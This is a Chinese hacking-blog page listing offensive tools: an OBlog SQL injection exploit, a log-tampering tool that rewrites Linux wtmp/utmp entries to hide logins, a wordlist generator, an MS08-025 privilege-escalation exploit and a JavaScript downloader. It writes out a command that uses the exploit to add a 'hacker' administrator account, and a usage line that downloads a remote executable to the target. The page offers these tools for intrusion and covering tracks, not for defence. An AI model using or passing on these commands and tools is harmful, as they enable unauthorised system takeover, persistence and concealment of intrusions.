分类 ‘工具收集’ 下的日志
OBlog Sql Injection Vulnerability
官方已经修正该漏洞。
--==+=================== www.nspcn.org =================+==--
--==+ OBlog (tags.asp) Remote SQL Injection Exploit +==--
--==+====================================================================================+==--
#Author: Whytt & Tr4c3[at]126[dot]com
#版权所有:http://www.nspcn.org & [BK瞬间群] & Whytt
#漏洞文件tags.asp
输入小助手.vbs
来源:vbs空间
有时,渗透时,溢出得个SHELL,或只有一个CMDSHELL,想下载些东西,或上传东西,时真是不方便啊
特别是当目标不能上网,或限制比较严格时...
ECHO东西,手工输入,那个累啊....还是弄个脚本方便些...
logtamper-v1.0 修改linux 日志的工具
文章作者:xi4oyu
还是放出来好了,免得老找我要这东西。功能应该比网上的日志清除工具都要好。它是修改,而不是纯粹的删除和清空基于wtmpclean改的,所以我名字都没换
上几张图好了:
修改wtmp与utmp 与username和hostname相符的条目,同时保留timestamp
仿SQLTOOLS 写的一个工具, 功能增加了一些
用vbs写的短小精悍的字典生成器
作者:lcx
来源:vbs小铺
'code by lcx ,很好,很强大,很黄很暴力,很傻很天真,很zd很cnn
'这个程序是算不同数字与字母的所有排列组合,当然可以做为字典生成器来用.如需不同组合,只需改本程序a和b的变量即可以.
又一个MS08-025
update(2008.5.9):姬良:“这个和网上的不同,这个不是用双引号括住命令,而是用参数-s”
来源:%5C
真正可用的MS08025。
为了多次运行,服务器蓝屏,请直接用一次运行所有的命令
比如:
MS08025 "cmd.exe /c net user hacker hacker /add & net localgroup administrators hacker /add"
Local Privilege Escalation Vulnerability Exploit(MS08025)
js下载者
作者:lcx
来源:vbs小铺
//将常用的vbs下载者改成js版了。本来想用jsc.exe编译,可是不成功。jsc.exe不认WScript //use: cscript this.js http://www.xxx.com/xxx.exe c:\xxx.exe
代码中的链接:
